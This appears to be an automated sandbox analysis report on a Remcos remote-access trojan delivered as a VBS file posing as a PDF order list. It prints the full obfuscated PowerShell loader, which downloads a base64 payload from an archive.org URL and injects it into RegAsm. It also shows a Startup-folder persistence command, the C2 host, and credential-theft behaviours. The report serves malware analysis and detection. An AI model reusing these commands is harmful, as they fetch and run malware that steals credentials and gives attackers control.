Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-09-2024 11:32

General

  • Target

    PASUTIJUMU SARAKSTS 2112100 EUR DOKUMENTS SEPTEMBRIS PASUTIJUMA DOC pdf.vbs

  • Size

    502KB

  • MD5

    054770dd0e6f86d42f8df6f72265375b

  • SHA1

    bd012509b749be9acc1dd0a67b8519dedaf1c680

  • SHA256

    0a6ec56a9d84def4f2898df242f92e2aa9cf1bdf0d32bc0b710f4106bc3de651

  • SHA512

    4b2777eb1ff628dfa9f378879828b4d4f4ae19386108de94584683c2173b70e7347da1d55a8be19bf146576e36f3e6ea70c50ab78aed69689ea8ebf2b71ca9c8

  • SSDEEP

    12288:i6tQjLe5sR1aZdlZ7LVSFOzV3JMGeLF8azIdzzEV3J2m2Fjc1AkhbhBs3r:dY2SyPEED

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Extracted

Family

remcos

Botnet

444

C2

ella666.duckdns.org:3131

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-T559ZO

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Detected Nirsoft tools 3 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\PASUTIJUMU SARAKSTS 2112100 EUR DOKUMENTS SEPTEMBRIS PASUTIJUMA DOC pdf.vbs"
    1⤵
    • Checks computer location settings
    • Drops startup file
    • Suspicious use of WriteProcessMemory
    PID:4132
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\PASUTIJUMU SARAKSTS 2112100 EUR DOKUMENTS SEPTEMBRIS PASUTIJUMA DOC pdf.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.razivarcsed.vbs')')
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Suspicious use of WriteProcessMemory
      PID:4260
      • C:\Windows\system32\PING.EXE
        ping 127.0.0.1 -n 10
        3⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:2520
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\PASUTIJUMU SARAKSTS 2112100 EUR DOKUMENTS SEPTEMBRIS PASUTIJUMA DOC pdf.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.razivarcsed.vbs')')
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4476
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnNnZndScrJ3JsJysnID0gJysnWlJ4aHR0cHM6Ly9pYTYwMDEnKycwMCcrJy51Jysncy5hcmNoaXZlLm9yJysnZy8nKycyNC9pdGVtJysncy9kZXRhaC1ub3RlLXYvJysnRGV0JysnYWgnKydObycrJ3RlVi50eHRaUng7NnZnYmEnKydzZTY0Q29udGVudCA9IChOJysnZXctTycrJ2JqJysnZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZScrJ250KS5Eb3dubG9hZFN0cmluZygnKyc2dmd1cmwpOzZ2ZycrJ2JpbmFyJysneUMnKydvbnRlbicrJ3QgPSBbU3lzJysndGUnKydtLkNvbnZlcnRdOjpGcm9tQmFzZTY0UycrJ3RyaW4nKydnKCcrJzZ2Z2JhJysnc2U2NENvJysnbicrJ3RlJysnbnQpOycrJzZ2Z2Fzc2VtYmx5JysnID0gW1JlZmxlY3RpbycrJ24nKycuQXNzZW1iJysnbCcrJ3ldJysnOicrJzpMb2FkKDZ2JysnZ2JpbmFyJysneUMnKydvbnRlJysnbicrJ3QpJysnOzYnKyd2Z3QnKyd5cCcrJ2UgPSA2dmdhc3NlbWJseS5HZXRUJysneXBlKFpSeFJ1blBFJysnLkhvbWVaJysnUngpOzZ2Z21ldGhvZCA9IDYnKyd2Z3QnKyd5JysncGUnKycuR2V0JysnTWV0aG9kKFpSeFZBSVpSeCknKyc7NnZnbWV0aG9kLkludm9rZSg2dmdudWxsLCBbb2InKydqJysnZWN0WycrJ10nKyddJysnQCcrJyhaUngwLycrJ3Z1bycrJ29oL2QvZScrJ2UuZXQnKydzYXAnKycvLycrJzpzcHR0aFpSJysneCAsIFonKydSeCcrJ2Rlc2F0aScrJ3ZhJysnZG8nKydaJysnUngnKycgLCBaUnhkZXNhdGl2YWRvWlJ4ICcrJywgWicrJ1J4ZGVzYScrJ3RpdmFkb1pSeCcrJywnKydaUnhSZScrJ2dBc21aUngsWlJ4WicrJ1J4KSknKSAtcmVwTEFDZShbQ0hhUl05MCtbQ0hhUl04MitbQ0hhUl0xMjApLFtDSGFSXTM5LXJlcExBQ2UgKFtDSGFSXTU0K1tDSGFSXTExOCtbQ0hhUl0xMDMpLFtDSGFSXTM2KXwmKCAkZW52OkNPTXNQRWNbNCwxNSwyNV0tak9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4340
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('6vgu'+'rl'+' = '+'ZRxhttps://ia6001'+'00'+'.u'+'s.archive.or'+'g/'+'24/item'+'s/detah-note-v/'+'Det'+'ah'+'No'+'teV.txtZRx;6vgba'+'se64Content = (N'+'ew-O'+'bj'+'ect System.Net.WebClie'+'nt).DownloadString('+'6vgurl);6vg'+'binar'+'yC'+'onten'+'t = [Sys'+'te'+'m.Convert]::FromBase64S'+'trin'+'g('+'6vgba'+'se64Co'+'n'+'te'+'nt);'+'6vgassembly'+' = [Reflectio'+'n'+'.Assemb'+'l'+'y]'+':'+':Load(6v'+'gbinar'+'yC'+'onte'+'n'+'t)'+';6'+'vgt'+'yp'+'e = 6vgassembly.GetT'+'ype(ZRxRunPE'+'.HomeZ'+'Rx);6vgmethod = 6'+'vgt'+'y'+'pe'+'.Get'+'Method(ZRxVAIZRx)'+';6vgmethod.Invoke(6vgnull, [ob'+'j'+'ect['+']'+']'+'@'+'(ZRx0/'+'vuo'+'oh/d/e'+'e.et'+'sap'+'//'+':sptthZR'+'x , Z'+'Rx'+'desati'+'va'+'do'+'Z'+'Rx'+' , ZRxdesativadoZRx '+', Z'+'Rxdesa'+'tivadoZRx'+','+'ZRxRe'+'gAsmZRx,ZRxZ'+'Rx))') -repLACe([CHaR]90+[CHaR]82+[CHaR]120),[CHaR]39-repLACe ([CHaR]54+[CHaR]118+[CHaR]103),[CHaR]36)|&( $env:COMsPEc[4,15,25]-jOiN'')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3420
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          4⤵
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:3660
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\duntfuqyy"
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:1132
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\gwsmfnazmpqt"
            5⤵
            • Accesses Microsoft Outlook accounts
            • System Location Discovery: System Language Discovery
            PID:1912
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\qqfeyfltaxjguefc"
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3772

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\ProgramData\remcos\logs.dat

    Filesize

    144B

    MD5

    40ab2e4e80caeb1e4e0e42589afedd30

    SHA1

    ca9b4576a75776d8e0bfc1a9d4472c968ce7d6c9

    SHA256

    28da9165bea6f15d1d64d9f8ebac6d0a0e907ba69ad30a21b50b2f55d7955f68

    SHA512

    cbd81396f52e51b169e88fb80aabf2e4dde982e5db583a215ff14b2bfadf3b7b4d5119571b500ee934196632598b0aa859ae360fa13adc09a1e104c1c13bbdf7

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    d85ba6ff808d9e5444a4b369f5bc2730

    SHA1

    31aa9d96590fff6981b315e0b391b575e4c0804a

    SHA256

    84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

    SHA512

    8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    bd5940f08d0be56e65e5f2aaf47c538e

    SHA1

    d7e31b87866e5e383ab5499da64aba50f03e8443

    SHA256

    2d2f364c75bd2897504249f42cdf1d19374f5230aad68fa9154ea3d03e3031a6

    SHA512

    c34d10c7e07da44a180fae9889b61f08903aa84e8ddfa80c31c272b1ef9d491b8cec6b8a4c836c3cb1583fe8f4955c6a8db872515de3a9e10eae09610c959406

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    64B

    MD5

    2b5a0ef56356657fbff2182a3aebeb60

    SHA1

    677bacdc5bb464e67e844bbad6c1dfd65487c19f

    SHA256

    40ad01acaf408fad08fb3045c9caacb5da435cf307a6da05f459165fad356f2a

    SHA512

    740f23dcc307b790507a65ea6b35c87cce4c79f9beace291fe14260860d99660e92e7ce0fd42b31dea021f533856a2283bd4df3faa5f2df5ed7bbf66eba8d9de

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2qbelqdp.orv.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\duntfuqyy

    Filesize

    4KB

    MD5

    c7ac5a21cac5bd5580a6e28112212613

    SHA1

    0a256177c387053fec680e599bcb63729a16c161

    SHA256

    89e0e7dc8ad418f8613610b71d0c140247e26a5f9a453ee255b1467fb80f15ff

    SHA512

    753675a75b643132e50175d67589a3952cb5154a7e51c11883b2e28bf4fe406afbaed88e61575cc114156e41ed5c587b0f76845e6d20ddf922e775bfff3f0b43

  • memory/1132-59-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/1132-63-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/1132-67-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/1132-69-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/1912-60-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/1912-62-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/1912-65-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/3420-38-0x0000015BA9BE0000-0x0000015BA9DEC000-memory.dmp

    Filesize

    2.0MB

  • memory/3660-52-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3660-45-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3660-101-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3660-53-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3660-54-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3660-55-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3660-56-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3660-58-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3660-100-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3660-46-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3660-93-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3660-79-0x0000000010000000-0x0000000010019000-memory.dmp

    Filesize

    100KB

  • memory/3660-92-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3660-43-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3660-85-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3660-49-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3660-39-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3660-84-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3660-78-0x0000000010000000-0x0000000010019000-memory.dmp

    Filesize

    100KB

  • memory/3660-75-0x0000000010000000-0x0000000010019000-memory.dmp

    Filesize

    100KB

  • memory/3660-80-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3772-64-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/3772-68-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/3772-61-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/4476-12-0x00007FF990150000-0x00007FF990C11000-memory.dmp

    Filesize

    10.8MB

  • memory/4476-7-0x0000021B5CE20000-0x0000021B5CE42000-memory.dmp

    Filesize

    136KB

  • memory/4476-16-0x00007FF990150000-0x00007FF990C11000-memory.dmp

    Filesize

    10.8MB

  • memory/4476-13-0x00007FF990150000-0x00007FF990C11000-memory.dmp

    Filesize

    10.8MB

  • memory/4476-1-0x00007FF990153000-0x00007FF990155000-memory.dmp

    Filesize

    8KB

  • memory/4476-17-0x00007FF990150000-0x00007FF990C11000-memory.dmp

    Filesize

    10.8MB